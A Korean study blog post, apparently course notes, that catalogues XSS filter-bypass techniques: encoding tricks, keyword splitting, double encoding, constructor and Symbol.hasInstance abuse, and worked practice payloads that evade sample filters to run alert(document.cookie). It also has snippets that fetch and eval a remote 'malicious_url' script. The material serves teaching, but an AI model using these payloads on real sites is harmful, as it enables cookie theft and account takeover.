Home [Study] XSS Filtering Bypass
Post
Cancel

[Study] XSS Filtering Bypass

πŸ’‘ [Dreamhack] Web Hacking Advanced - Client Side - XSS Filterfing Bypass I, IIλ₯Ό κ³΅λΆ€ν•˜λ©° μ •λ¦¬ν•˜μ˜€μŠ΅λ‹ˆλ‹€.


#1. 이벀트 ν•Έλ“€λŸ¬ 속성


νƒœκ·Έμ˜ 속성 κ°’μœΌλ‘œ 슀크립트λ₯Ό 포함할 수 μžˆλŠ” κ²½μš°κ°€ μ‘΄μž¬ν•œλ‹€. λŒ€ν‘œμ μœΌλ‘œ 이벀트 ν•Έλ“€λŸ¬λ₯Ό μ§€μ •ν•˜λŠ” on으둜 μ‹œμž‘ν•˜λŠ” 속성듀이 μ‘΄μž¬ν•œλ‹€. 이벀트 ν•Έλ“€λŸ¬λž€ νŠΉμ • μš”μ†Œμ—μ„œ λ°œμƒν•˜λŠ” 이벀트λ₯Ό μ²˜λ¦¬ν•˜κΈ° μœ„ν•΄ μ‘΄μž¬ν•˜λŠ” 콜백 ν˜•νƒœμ˜ ν•Έλ“€λŸ¬ ν•¨μˆ˜μ΄λ‹€.

자주 μ‚¬μš©λ˜λŠ” 이벀트 ν•Έλ“€λŸ¬ 속성: onload, onerror, onfocus


onerror 이벀트 ν•Έλ“€λŸ¬

1
2
3
4
5
<!-- 이미지 λ‘œλ“œ 성곡 > onerror ν•Έλ“€λŸ¬ μ‹€ν–‰X -->
<img src="valid" onerror="alert(1)">

<!-- 이미지 λ‘œλ“œ μ‹€νŒ¨ > onerror ν•Έλ“€λŸ¬ μ‹€ν–‰ -->
<img src="invalid" onerror="alert(1)">


onfocus 이벀트 ν•Έλ“€λŸ¬

1
2
3
4
5
<!-- autofocus 속성을  μ£Όμ–΄ μžλ™μœΌλ‘œ 포컀슀λ₯Ό μ‹œν‚΄ -->
<input id="inputBox" onfocus="alert(1)" autofocus>

<!-- id 값을 μ£Όμ–΄ URL의 hash(/#inputBox) 뢀뢄에 id 값을 μž…λ ₯ν•˜μ—¬ 포컀슀 λ˜λ„λ‘ μ„€μ •. -->
<input id="inputBox" onfocus="alert(1)">


#2. λ¬Έμžμ—΄ μΉ˜ν™˜


XSS ν‚€μ›Œλ“œλ₯Ό 필터링할 λ•Œ λ¬Έμžμ—΄μ„ λ‹¨μˆœνžˆ μΉ˜ν™˜ν•˜κ±°λ‚˜ μ œκ±°ν•˜λŠ” 방식도 μ‚¬μš©λ˜κ³€ ν•œλ‹€. λ‹¨μˆœνžˆ μ˜μ‹¬λ˜λŠ” ꡬ문을 μ œκ±°ν•  경우 ν•„ν„°λ§λ˜λŠ” ν‚€μ›Œλ“œ 사이에 μƒˆλ‘œμš΄ 필터링 ν‚€μ›Œλ“œλ₯Ό μ‚½μž…ν•˜λŠ” λ°©μ‹μœΌλ‘œ 우회 κ°€λŠ₯ν•˜λ‹€.

λ¬Έμžμ—΄ μΉ˜ν™˜ 우회

1
2
3
4
/* 필터링 ν•¨μˆ˜ */
function XSSFilter(data){
  return data.replace(/script/gi, '');
}
1
2
<!-- ν‚€μ›Œλ“œλ₯Ό 쀑첩 μ‚½μž…ν•˜μ—¬ 우회 -->
<sscriptcript>alert(1)</sscriptcript>


#3. ν™œμ„± ν•˜μ΄νΌλ§ν¬


HTML λ§ˆν¬μ—…μ—μ„œ μ‚¬μš©λ  수 μžˆλŠ” URL은 ν™œμ„± μ½˜ν…μΈ λ₯Ό 포함할 수 μžˆλ‹€. javascript: μŠ€ν‚€λ§ˆλŠ” URL λ‘œλ“œ μ‹œ μžλ°”μŠ€ν¬λ¦½νŠΈ μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 μžˆλ„λ‘ ν•œλ‹€.

URL μŠ€ν‚€λ§ˆ

λ‹€μŒκ³Ό 같이 a νƒœκ·Έλ‚˜ iframe νƒœκ·Έμ—μ„œ URL 속성에 μŠ€ν‚€λ§ˆλ₯Ό μ‚¬μš©ν•  수 μžˆλ‹€.

1
2
<a href="javascript:alert(1)"></a>
<iframe src="javascript:alert(1)">


μ •κ·œν™” 우회

이λ₯Ό λ°©μ§€ν•˜κ³ μž XSS ν‚€μ›Œλ“œλ₯Ό 필터링할 λ•Œ javascript: μŠ€ν‚€λ§ˆλ₯Ό ν•„ν„°λ§ν•˜λŠ” κ²½μš°κ°€ μ‘΄μž¬ν•˜λŠ”λ°, μ΄λŠ” μ •κ·œν™”λ₯Ό μ΄μš©ν•˜μ—¬ μš°νšŒν•  수 μžˆλŠ” κ²½μš°κ°€ μ‘΄μž¬ν•œλ‹€. μ •κ·œν™” κ³Όμ •μ—μ„œ \x01, \x04, \t와 같은 특수 λ¬Έμžλ“€μ΄ 제거되고, μŠ€ν‚€λ§ˆμ˜ λŒ€μ†Œλ¬Έμžκ°€ ν†΅μΌλœλ‹€.

1
2
<a href="\1\4jAVasC\triPT:alert(1)"></a>
<iframe src="\1\4jAVasC\triPT:alert(1)">


HTML Entity Encoding

HTML νƒœκ·Έ 속성 λ‚΄μ—μ„œλŠ” HTML Entity Encoding을 μ‚¬μš©ν•  수 μžˆλ‹€. 이λ₯Ό μ΄μš©ν•˜μ—¬ javascript: μŠ€ν‚€λ§ˆλ‚˜ XSS ν‚€μ›Œλ“œλ₯Ό μΈμ½”λ”©ν•˜μ—¬ 필터링을 μš°νšŒν•  μˆ˜λ„ μžˆλ‹€.

1
2
<a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(1)"></a>
<iframe src="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(1)">


+) URL μ •κ·œν™” ν…ŒμŠ€νŠΈ μžλ°”μŠ€ν¬λ¦½νŠΈμ—μ„œλŠ” URL 객체λ₯Ό 톡해 URL을 직접 μ •κ·œν™”ν•  수 있으며, protocol, hostname λ“± URL의 각쒅 정보λ₯Ό μΆ”μΆœν•  수 μžˆλ‹€.

1
2
3
4
5
function normalizeURL(url) {
    return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)')
--> "javascript:alert"


#4. νƒœκ·Έμ™€ 속성 기반 필터링


λŒ€μ†Œλ¬Έμž 인식 ν•„ν„°

λŒ€μ†Œλ¬Έμžλ₯Ό λͺ¨λ‘ κ²€μ‚¬ν•˜μ§€ μ•Šμ„ 경우 λ‹€μŒκ³Ό 같이 우회 κ°€λŠ₯ν•˜λ‹€.

1
<sCript>alert(1)</scRIPT>


νŠΉμ • νƒœκ·Έ 및 속성 ν•„ν„°

script, img, inputκ³Ό 같은 νƒœκ·Έλ₯Ό 필터링 ν•  λ•Œ, λ‹€λ₯Έ νƒœκ·Έλ₯Ό μ‚¬μš©ν•΄ 곡격을 μ‹œλ„ν•  수 μžˆλ‹€.

1
2
<video><source onerror="alert(1)"/></video>
<body onload="alert(1)"/>


on 이벀트 ν•Έλ“€λŸ¬λ₯Ό ν•„ν„°λ§ν•˜κ³ , λ©€ν‹° 라인을 μ§€μ›ν•˜λŠ” 문자λ₯Ό 검사할 λ•Œ, μƒˆλ‘œμš΄ inner frame을 μƒμ„±ν•˜λŠ” iframe νƒœκ·Έλ₯Ό μ΄μš©ν•΄ μš°νšŒν•  수 μžˆλ‹€.

1
2
3
4
5
<!-- src μ†μ„±μ—μ„œ ν™œμ„± ν•˜μ΄νΌλ§ν¬ 이용 -->
<iframe src="javascript:alert(1)">
  
<!-- srcdoc 속성을 이용 -->
<iframe srcdoc="<&#x69;mg src=1 &#x6f;nerror=alert(parent.document.domain)>">

μœ„μ—μ„œ srcdoc 속성을 μ΄μš©ν•˜μ—¬ inner frame 내에 μƒˆλ‘œμš΄ XSS 곡격 μ½”λ“œλ₯Ό μž…λ ₯ν•  수 μžˆλŠ”λ° μ΄λ•Œ, HTML 속성 내에 듀어가기에 HTML Entity Encoding으둜 κΈ°μ‘΄ 필터링을 μš°νšŒν•˜λŠ” 것이 κ°€λŠ₯ν•˜λ‹€. parent.alertλ₯Ό ν˜ΈμΆœν•˜λŠ” μ΄μœ λŠ” μŠ€ν¬λ¦½νŠΈκ°€ ν˜ΈμΆœλ˜λŠ” μ˜μ—­μ˜ μƒμœ„ λ¬Έμ„œμ— μ‘΄μž¬ν•˜λŠ” alertλ₯Ό 호좜 ν•΄μ•Όν•˜κΈ° λ•Œλ¬Έμ΄λ‹€.


#5. μžλ°”μŠ€ν¬λ¦½νŠΈ ν•¨μˆ˜ 및 ν‚€μ›Œλ“œ 필터링


Unicode escape sequence

μžλ°”μŠ€ν¬λ¦½νŠΈλŠ” Unicode escape sequenceλ₯Ό μ§€μ›ν•œλ‹€. 이λ₯Ό μ΄μš©ν•˜μ—¬ 필터링 된 λ¬Έμžμ—΄μ„ μš°νšŒν•˜λŠ” 것이 κ°€λŠ₯ν•˜λ‹€. (Unicode escape sequenceλŠ” \uAC00 == 가와 같이 λ¬Έμžμ—΄μ—μ„œ μœ λ‹ˆμ½”λ“œ 문자λ₯Ό μ½”λ“œν¬μΈνŠΈλ‘œ λ‚˜νƒ€λ‚Ό 수 μžˆλŠ” ν‘œκΈ°λ²•)

1
2
3
"\u0063ookie" // cookie
"cooki\x65"   // cookie
\u0061lert(1) // alert(1)


Computed member access

μžλ°”μŠ€ν¬λ¦½νŠΈλŠ” Computed member accessλ₯Ό μ§€μ›ν•œλ‹€. Computed member accessλŠ” 객체의 νŠΉμ • 속성에 μ ‘κ·Όν•  λ•Œ 속성 이름을 λ™μ μœΌλ‘œ κ³„μ‚°ν•˜λŠ” κΈ°λŠ₯이닀.

1
document["coo"+"kie"] == document["cookie"] == document.cookie


πŸ”» XSS 곡격에 ν”νžˆ μ‚¬μš©λ˜λŠ” ꡬ문과 필터링 우회λ₯Ό μœ„ν•΄ μ‚¬μš©λ  수 μžˆλŠ” λŒ€μ²΄ μ˜ˆμ‹œ

κ΅¬λ¬ΈλŒ€μ²΄ ꡬ문
alert, XMLHttpRequest λ“± λ¬Έμ„œ μ΅œμƒμœ„ 객체 및 ν•¨μˆ˜window['al'+'ert'], window['XMLHtt'+'pRequest'] λ“± 이름 λŠμ–΄μ„œ μ“°κΈ°
windowself, this
eval(code)Function(code)()
FunctionisNaN['constr'+'uctor'] λ“± ν•¨μˆ˜μ˜ constructor 속성 μ ‘κ·Ό


λ¬Έμžμ—΄ μ„ μ–Έ

필터링 ν˜Ήμ€ 인코딩/λ””μ½”λ”©μ˜ 이유둜 νŠΉμ • 문자((), [], ", ' …)λ₯Ό μ‚¬μš©ν•˜μ§€ λͺ»ν•˜λŠ” κ²½μš°μ— ν•΄λ‹Ή 문자λ₯Ό λŒ€μ²΄ν•  수 μžˆλŠ” 방법듀을 톡해 μš°νšŒν•˜μ—¬ 곡격할 수 μžˆλ‹€.

λ”°μ˜΄ν‘œ(", ')κ°€ ν•„ν„°λ§λ˜μ–΄ μžˆλ‹€λ©΄ ν…œν”Œλ¦Ώ λ¦¬ν„°λŸ΄(Template Literals)을 μ‚¬μš©ν•  수 μžˆλ‹€. λ°±ν‹±(`)을 μ΄μš©ν•˜μ—¬ μ„ μ–Έν•  수 있고, ${} ν‘œν˜„μ‹μ„ μ΄μš©ν•΄ λ‹€λ₯Έ λ³€μˆ˜λ‚˜ 식을 μ‚¬μš©ν•  수 μžˆλ‹€. (ν…œν”Œλ¦Ώ λ¦¬ν„°λŸ΄μ€ λ‚΄μž₯된 ν‘œν˜„μ‹μ„ ν—ˆμš©ν•˜λŠ” λ¬Έμžμ—΄ λ¦¬ν„°λŸ΄λ‘œ, μ—¬λŸ¬ μ€„λ‘œ 이뀄진 λ¬Έμžμ—΄κ³Ό 문자λ₯Ό λ³΄κ΄€ν•˜κΈ° μœ„ν•œ κΈ°λŠ₯으둜 μ΄μš©ν•  수 μžˆλ‹€.)


  1. RegExp 객체 μ‚¬μš©ν•˜κΈ°

    RegExp 객체λ₯Ό μƒμ„±ν•˜κ³  객체의 νŒ¨ν„΄ 뢀뢄을 κ°€μ Έμ˜΄μœΌλ‘œμ¨ λ¬Έμžμ—΄μ„ λ§Œλ“€ 수 μžˆλ‹€.

    1
    2
    
     var foo = /Hello World!/.source; // "Hello World!"
     var bar = /test !/ + [];         // "/test !/"
    
  2. String.fromCharCode ν•¨μˆ˜ μ‚¬μš©

    String.fromCharCode ν•¨μˆ˜λŠ” μœ λ‹ˆμ½”λ“œμ˜ λ²”μœ„ 쀑 νŒŒλΌλ―Έν„°λ‘œ μ „λ‹¬λœ μˆ˜μ— ν•΄λ‹Ήν•˜λŠ” 문자λ₯Ό λ°˜ν™˜ν•œλ‹€.

    1
    
     var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
    
  3. κΈ°λ³Έ λ‚΄μž₯ ν•¨μˆ˜λ‚˜ 객체의 문자λ₯Ό μ‚¬μš©ν•˜λŠ” 방법

    λ‚΄μž₯ ν•¨μˆ˜λ‚˜ 객체λ₯Ό toString ν•¨μˆ˜λ₯Ό 톡해 λ¬Έμžμ—΄λ‘œ λ³€κ²½ν•˜λ©΄ ν˜•νƒœκ°€ λ¬Έμžμ—΄λ‘œ λ³€ν™˜λœλ‹€. μ›ν•˜λŠ” λ¬Έμžμ—΄μ„ λ§Œλ“œλŠ”λ° ν•„μš”ν•œ λ¬Έμžλ“€μ„ ν•œ κΈ€μžμ”© 가져와 λ¬Έμžμ—΄μ„ λ§Œλ“€ 수 μžˆλ‹€.

    1
    2
    3
    4
    
     var baz = history.toString()[8] + // "H"
     (history+[])[9] + // "i"
     (URL+0)[12] + // "("
     (URL+0)[13]; // ")" ==> "Hi()"
    
    • history.toString() : "[object History]" λ¬Έμžμ—΄ λ°˜ν™˜
    • URL.toString() : "function URL () { [native code] }" λ¬Έμžμ—΄ λ°˜ν™˜
  4. 숫자 객체의 진법 λ³€ν™˜

    10μ§„μˆ˜ 숫자λ₯Ό 36μ§„μˆ˜λ‘œ λ³€κ²½ν•˜μ—¬ ASCII μ˜μ–΄ μ†Œλ¬Έμž λ²”μœ„λ₯Ό λͺ¨λ‘ 생성할 수 μžˆλ‹€. μ΄λ•Œ, E4X μ—°μ‚°μž ("..")κ°€ μ‘΄μž¬ν•˜λŠ”λ°, 주둜 점 λ‘κ°œλ₯Ό μ“°κ±°λ‚˜ μ†Œμˆ˜μ μœΌλ‘œ μΈμ‹λ˜μ§€ μ•Šλ„λ‘ 곡백과 점을 μ‘°ν•©ν•΄ μ‚¬μš©ν•  수 μžˆλ‹€.

    1
    2
    
     var foo = 29234652..toString(36); // "hello"
     var bar = 29234652 .toString(36); // "hello"
    


ν•¨μˆ˜ 호좜

일반적인 μžλ°”μŠ€ν¬λ¦½νŠΈμ˜ ν•¨μˆ˜ 호좜 방법

1
2
alert(1); // Parentheses
alert`1`; // Tagged Templates

μ†Œκ΄„ν˜Έμ™€ λ°±ν‹± λ¬Έμžκ°€ λͺ¨λ‘ 필터링 λ˜μ–΄μžˆλŠ” 경우, λ‹€μŒκ³Ό 같은 λ°©λ²•λ“€λ‘œ μš°νšŒν•  수 μžˆλ‹€.

  1. javascript μŠ€ν‚€λ§ˆλ₯Ό μ΄μš©ν•œ location λ³€κ²½

    javascript: μŠ€ν‚€λ§ˆλ₯Ό μ΄μš©ν•΄ location 객체λ₯Ό λ³€μ‘°ν•˜λŠ” λ°©μ‹μœΌλ‘œ μžλ°”μŠ€ν¬λ¦½νŠΈ μ½”λ“œ μ‹€ν–‰.

    1
    2
    3
    
     location = "javascript:alert\x281\x29;";
     location.href = "javascript:alert\u00281\u0029;";
     location['href'] = "javascript:alert\0501\051;";
    
  2. Symbol.hasInstance μ˜€λ²„λΌμ΄λ”©

    ECMAScript 6에 μΆ”κ°€λœ Symbol을 속성 λͺ…μΉ­μœΌλ‘œ μ‚¬μš©ν•  수 μžˆλ‹€. 0 instanceof Cλ₯Ό μ—°μ‚°ν•  λ•Œ, C에 Symbol.hasInstance 속성에 ν•¨μˆ˜κ°€ μžˆμ„ 경우 λ©”μ†Œλ“œλ‘œ ν˜ΈμΆœν•˜μ—¬ instanceof μ—°μ‚°μžμ˜ κ²°κ³Ό κ°’μœΌλ‘œ μ‚¬μš©ν•˜κ²Œ λœλ‹€. instanceofλ₯Ό μ—°μ‚°ν•˜κ²Œ 되면 μ‹€μ œ μΈμŠ€ν„΄μŠ€ 체크 λŒ€μ‹  μ›ν•˜λŠ” ν•¨μˆ˜λ₯Ό λ©”μ†Œλ“œλ‘œ ν˜ΈμΆœλ˜λ„λ‘ ν•  수 μžˆλ‹€.

    1
    2
    
     "alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
     Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
    
  3. document.body.innerHTML μΆ”κ°€

    document.body.innerHTML에 μ½”λ“œλ₯Ό μΆ”κ°€ν•  경우 μƒˆλ‘œμš΄ HTML μ½”λ“œκ°€ λ¬Έμ„œμ— μΆ”κ°€λ˜κ³ , μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 μžˆλ‹€. μ΄λ•Œ, innerHTML둜 HTML μ½”λ“œλ₯Ό μ‹€ν–‰ν•  λ•Œμ—λŠ” λ³΄μ•ˆ 상 <script> νƒœκ·Έλ₯Ό μ‚½μž…ν•΄λ„ μ‹€ν–‰λ˜μ§€ μ•ŠλŠ”λ‹€. λ”°λΌμ„œ 이벀트 ν•Έλ“€λŸ¬λ₯Ό μ΄μš©ν•΄ μ½”λ“œλ₯Ό μ‹€ν–‰ν•΄μ•Ό ν•œλ‹€.

    1
    2
    
     document.body.innerHTML += "<img src=x: onerror=alert&#40;1&#41;>";
     documnet.body.innerHTML += "<body src=x: onload=alert&#40;1&#41;>";
    


#6. 더블 인코딩(Double Encoding)


μž…λ ₯ 검증은 λ””μ½”λ”© λ“±μ˜ λͺ¨λ“  μ „μ²˜λ¦¬ μž‘μ—…μ„ 마치고 μˆ˜ν–‰ν•΄μ•Ό ν•œλ‹€. 검증이 λλ‚œ 데이터λ₯Ό λ””μ½”λ”©ν•˜μ—¬ μ‚¬μš©ν•΄μ„œλŠ” μ•ˆλœλ‹€. μ›Ή 방화벽을 거쳐 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μœΌλ‘œ μ „λ‹¬λ˜λŠ” μ›Ή μ„œλ²„μ—μ„œ, μ›Ή λ°©ν™”λ²½μœΌλ‘œλΆ€ν„° ν†΅κ³Όν•œ 데이터λ₯Ό λ‹€μ‹œ λ””μ½”λ”©ν•΄μ„œ μ‚¬μš©ν•˜λ©΄ 더블 μΈμ½”λ”©μœΌλ‘œ μ›Ή λ°©ν™”λ²½μ˜ 검증을 μ‰½κ²Œ μš°νšŒν•  수 μžˆλ‹€.

1
2
3
4
5
// Failed Request
POST /search?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1

// Successful Request
POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1


#7. 길이 μ œν•œ


μ‚½μž…ν•  수 μžˆλŠ” μ½”λ“œμ˜ 길이가 μ œν•œλ˜μ–΄ μžˆλŠ” 경우, λ‹€λ₯Έ 경둜둜 μ‹€ν–‰ν•  좔가적인 μ½”λ“œ(payload)λ₯Ό URL fragment λ“±μœΌλ‘œ μ‚½μž…ν•˜κ³  λ³Έ μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜λŠ” 짧은 μ½”λ“œ(launcher)λ₯Ό μ‚¬μš©ν•  수 μžˆλ‹€.

location.hash

Fragment둜 슀크립트λ₯Ό λ„˜κ²¨μ£Όκ³  XSS μ§€μ μ—μ„œ location.hash둜 fragment 뢀뢄을 μΆ”μΆœν•˜μ—¬ eval() 둜 μ‹€ν–‰ν•˜λŠ” 기법이 ν”νžˆ μ‚¬μš©λœλ‹€.

1
https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(1); 


μ™ΈλΆ€ μžμ›μ„ μ΄μš©ν•œ 곡격방식

1
import('malicious_url');
1
2
3
var e = document.createElement('script')
e.src = 'malicious_url';
document.appendChild(e);
1
fetch('malicious_url').then(x=>eval(x.text()))


#Practice


  1. β€œalert”, β€œwindow”, β€œdocument” 필터링

    alert(document.cookie) μ‹€ν–‰

    Filtering function

    1
    2
    3
    4
    5
    6
    
     function XSSFilter(data){
      		if(/alert|window|document/.test(data)){
     		return false;
      		}
      		return true;
     }
    

    Bypass

    1
    2
    3
    4
    5
    
     // 1) μœ λ‹ˆμ½”λ“œ 이용
     \u0061lert(\u0064ocument.cookie);
                   
     // 2) this ν‚€μ›Œλ“œλ‘œ window 객체 μ ‘κ·Ό
     this['al'+'ert'](this['docu'+'ment']['coo'+'kie']);
    


  1. μ£Όμš” ν‚€μ›Œλ“œμ™€ 특수문자 필터링

    alert(document.cookie) μ‹€ν–‰

    Filtering function

    1
    2
    3
    4
    5
    6
    
     function XSSFilter(data){
      	if(/alert|window|document|eval|cookie|this|self|parent|top|opener|function|constructor|[\-+\\<>{}=]/i.test(data)){
           return false;
      		}
      		return true;
     }
    

    Bypass

    1
    2
    3
    4
    5
    6
    
     // 1) decodeURI ν•¨μˆ˜ 이용
     Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
       decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
                   
     // 2) atob ν•¨μˆ˜ & constructor 속성 이용
     Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
    
    • 1) URL Encoding은 ν•˜λ‹¨μ˜ μ‚¬μ΄νŠΈ μ°Έκ³  https://www.w3schools.com/tags/ref_urlencode.ASP https://onlineasciitools.com/url-encode-ascii
    • 2) Base64 값은 btoa('string') ν•¨μˆ˜ 이용


  2. (, ), β€œ, β€˜, ` 필터링

    alert(document.cookie) μ‹€ν–‰

    Filtering function

    1
    2
    3
    4
    5
    6
    
     function XSSFilter(data){
      	if(/[()"'`]/.test(data)){
           return false;
      		}
      		return true;
     }
    

    Bypass

    1
    2
    3
    4
    5
    
     // 1) RegExp & URL.toString & Symbol.hasInstance
     /alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval};
    
     // 2) javascript μŠ€ν‚€λ§ˆλ‘œ location λ³€κ²½ & RegExp & URL.toString
     location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];
    

[Certificate] μΈν„°λ„·λ³΄μ•ˆμ „λ¬Έκ°€ 2κΈ‰ ν•„κΈ° 기좜문제 정리

[Study] Content Security Policy